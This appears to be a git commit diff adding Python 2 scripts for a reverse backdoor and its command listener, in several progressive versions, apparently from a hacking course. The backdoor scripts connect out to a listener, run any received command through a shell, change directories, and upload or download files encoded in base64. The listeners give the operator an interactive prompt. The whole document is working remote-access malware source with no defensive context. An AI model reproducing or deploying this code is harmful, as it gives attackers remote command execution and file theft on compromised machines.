Update

Author: root

15 listener_and_backdoor/listener.py

@@ -0,0 +1,73 @@
+#!/usr/bin/python
+
+import socket
+import json
+import base64
+
+
+class Listener:
+
+	def __init__(self,ip,port):
+		listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+		listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
+		listener.bind((ip,port))
+		listener.listen(0)
+		print "[+] Waiting for Incoming Connection"
+		self.connection,address = listener.accept()
+		print "[+] Got a Connection from " + str(address)
+
+	def reliable_send(self,data):
+		json_data = json.dumps(data)
+		self.connection.send(json_data)
+
+	def reliable_receive(self):
+		json_data = ""
+		while True:
+			try:
+				json_data = json_data + self.connection.recv(1024)
+				return json.loads(json_data)
+			except ValueError:
+				continue
+
+	def execute_remotely(self,command):
+		self.reliable_send(command)
+		if command[0] == "exit":
+			self.connection.close()
+			exit()
+
+		return self.reliable_receive()
+
+	def write_file(self,path,content):
+		with open(path,"wb") as file:
+			file.write(base64.b64decode(content))
+			return "[+] Download Succesful"
+
+	def read_file(self,path):
+		with open(path,"rb") as file:
+			return base64.b64encode(file.read())
+
+	def run(self):
+
+		while True:
+			command = raw_input(">> ")
+			command = command.split(" ")
+
+			try:
+
+				if command[0] == "upload":
+					file_content = self.read_file(command[1])
+					command.append(file_content)
+					
+				result = self.execute_remotely(command)
+		
+				if command[0] == "download" and "[-] Error " not in result:
+					result = self.write_file(command[1],result)
+					
+			except Exception:
+				result = "[-] Error during command execution"
+				
+			print result
+
+
+my_listener = Listener("localhost",1234)
+my_listener.run()

15 listener_and_backdoor/listener_1.py

@@ -0,0 +1,20 @@
+#!/usr/bin/python
+
+import socket
+
+listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
+#options to reuse sockets
+listener.bind(("localhost",1234))
+listener.listen(0)
+print "[+] Waiting for Incoming Connection"
+#listen for connecion backlog is set to 0 don't need to woory about 0
+connection,address = listener.accept()
+print "[+] Got a Connection from " + str(address)
+
+while True:
+	command = raw_input(">> ")
+	connection.send(command)
+	result = connection.recv(1024)
+	print result
+

listener.py renamed to 15 listener_and_backdoor/listener_2.py

@@ -1,15 +1,22 @@
 #!/usr/bin/python
+
 import socket
 
+
 class Listener:
+
 	def __init__(self,ip,port):
 		listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 		listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
+		#options to reuse sockets
+		#listener.bind(("localhost",1234))
 		listener.bind((ip,port))
 		listener.listen(0)
-		print("[+] Waiting for incoming connection")
+		print "[+] Waiting for Incoming Connection"
+		#listen for connecion backlog is set to 0 don't need to wory about 0
 		self.connection,address = listener.accept()
-		print("[+]Got a connection"+str(address))
+		print "[+] Got a Connection from " + str(address)
+
 
 	def execute_remotely(self,command):
 		self.connection.send(command)
@@ -19,10 +26,7 @@ def run(self):
 		while True:
 			command = raw_input(">> ")
 			result = self.execute_remotely(command)
-			print(result)
-
-
-my_listener=Listener("192.168.44.1",4444)
-my_listener.run()
-
+			print result
 
+my_listener = Listener("localhost",1234)
+my_listener.run()

15 listener_and_backdoor/listener_3.py

@@ -0,0 +1,69 @@
+#!/usr/bin/python
+
+import socket
+import json
+import base64
+
+
+class Listener:
+
+	def __init__(self,ip,port):
+		listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+		listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
+		listener.bind((ip,port))
+		listener.listen(0)
+		print "[+] Waiting for Incoming Connection"
+		self.connection,address = listener.accept()
+		print "[+] Got a Connection from " + str(address)
+
+	def reliable_send(self,data):
+		json_data = json.dumps(data)
+		self.connection.send(json_data)
+
+	def reliable_receive(self):
+		json_data = ""
+		while True:
+			try:
+				json_data = json_data + self.connection.recv(1024)
+				return json.loads(json_data)
+			except ValueError:
+				continue
+
+	def execute_remotely(self,command):
+		self.reliable_send(command)
+		if command[0] == "exit":
+			self.connection.close()
+			exit()
+
+		return self.reliable_receive()
+
+	def write_file(self,path,content):
+		with open(path,"wb") as file:
+			file.write(base64.b64decode(content))
+			return "[+] Download Succesful"
+
+	def read_file(self,path):
+		with open(path,"rb") as file:
+			return base64.b64encode(file.read())
+
+	def run(self):
+		while True:
+			command = raw_input(">> ")
+			command = command.split(" ")
+
+			try:
+
+				if command[0] == "upload":
+					file_content = self.read_file(command[1])
+					command.append(file_content)
+					
+				result = self.execute_remotely(command)
+		
+				if command[0] == "download" and "[-] Error " not in result:
+					result = self.write_file(command[1],result)
+					
+			except Exception:
+				result = "[-] Error during command execution"
+			print result
+my_listener = Listener("localhost",1234)
+my_listener.run()

15 listener_and_backdoor/reverse_backdoor.py

@@ -0,0 +1,72 @@
+#!/usr/bin/python
+
+import socket
+import subprocess
+import json
+import os
+import base64
+
+class Backdoor:
+
+	def __init__(self,ip,port):
+		self.connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+		self.connection.connect(("localhost",1234))
+
+	def reliable_send(self,data):
+		json_data = json.dumps(data)
+		self.connection.send(json_data)
+
+
+	def reliable_receive(self):
+		json_data = ""
+		while True:
+			try:
+				json_data = json_data + self.connection.recv(1024)
+				return json.loads(json_data)
+			except ValueError:
+				continue
+
+
+	def execute_system_commmand(self,command):
+		return subprocess.check_output(command,shell=True)
+
+
+	def change_working_directory_to(self,path):
+		os.chdir(path)
+		return "[+] Change working directory to " + path
+
+	def write_file(self,path,content):
+		with open(path,"wb") as file:
+			file.write(base64.b64decode(content))
+			return "[+] Upload Succesful"
+
+	def read_file(self,path):
+		with open(path,"rb") as file:
+			return base64.b64encode(file.read())
+
+	def run(self):
+		while True:
+			command = self.reliable_receive()
+
+			try:
+				if command[0] == "exit":
+					self.connection.close()
+					exit()
+				elif command[0] == "cd" and len(command) > 1:
+					command_result = self.change_working_directory_to(command[1])
+				elif command[0] == "download":
+					command_result = self.read_file(command[1])
+				elif command[0] == "upload":
+					command_result = self.write_file(command[1],command[2])
+
+				else:
+					command_result = self.execute_system_commmand(command)
+
+			except Exception:
+				command_result = "[-] Error during command Execution"
+
+			self.reliable_send(command_result)
+
+
+my_backdoor = Backdoor("localhost",1234)
+my_backdoor.run()

15 listener_and_backdoor/reverse_backdoor_1.py

@@ -0,0 +1,20 @@
+#!/usr/bin/python
+
+import socket
+import subprocess
+
+
+def execute_system_commmand(command):
+	return subprocess.check_output(command,shell=True)
+
+connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+connection.connect(("localhost",1234))
+
+#connection.send("[+]Connection Estabilshed.\n")
+
+while True:
+	command = connection.recv(1024)
+	command_result = execute_system_commmand(command)
+	connection.send(command_result)
+
+connection.close()

15 listener_and_backdoor/reverse_backdoor_2.py

@@ -0,0 +1,24 @@
+#!/usr/bin/python
+
+import socket
+import subprocess
+
+class Backdoor:
+
+	def __init__(self,ip,port):
+		self.connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+		self.connection.connect(("localhost",1234))
+
+	def execute_system_commmand(self,command):
+		return subprocess.check_output(command,shell=True)
+
+	def run(self):
+		while True:
+			command = self.connection.recv(1024)
+			command_result = self.execute_system_commmand(command)
+			self.connection.send(command_result)
+
+		connection.close()
+
+my_backdoor = Backdoor("localhost",1234)
+my_backdoor.run()

15 listener_and_backdoor/reverse_backdoor_3.py

@@ -0,0 +1,70 @@
+#!/usr/bin/python
+
+import socket
+import subprocess
+import json
+import os
+import base64
+
+class Backdoor:
+
+	def __init__(self,ip,port):
+		self.connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+		self.connection.connect(("localhost",1234))
+
+	def reliable_send(self,data):
+		json_data = json.dumps(data)
+		self.connection.send(json_data)
+
+
+	def reliable_receive(self):
+		json_data = ""
+		while True:
+			try:
+				json_data = json_data + self.connection.recv(1024)
+				return json.loads(json_data)
+			except ValueError:
+				continue
+
+
+	def execute_system_commmand(self,command):
+		return subprocess.check_output(command,shell=True)
+
+
+	def change_working_directory_to(self,path):
+		os.chdir(path)
+		return "[+] Change working directory to " + path
+
+	def write_file(self,path,content):
+		with open(path,"wb") as file:
+			file.write(base64.b64decode(content))
+			return "[+] Upload Succesful"
+
+	def read_file(self,path):
+		with open(path,"rb") as file:
+			return base64.b64encode(file.read())
+
+	def run(self):
+		while True:
+			command = self.reliable_receive()
+
+			try:
+				if command[0] == "exit":
+					self.connection.close()
+					exit()
+				elif command[0] == "cd" and len(command) > 1:
+					command_result = self.change_working_directory_to(command[1])
+				elif command[0] == "download":
+					command_result = self.read_file(command[1])
+				elif command[0] == "upload":
+					command_result = self.write_file(command[1],command[2])
+
+				else:
+					command_result = self.execute_system_commmand(command)
+
+			except Exception:
+				command_result = "[-] Error during command Execution"
+			self.reliable_send(command_result)
+
+my_backdoor = Backdoor("localhost",1234)
+my_backdoor.run()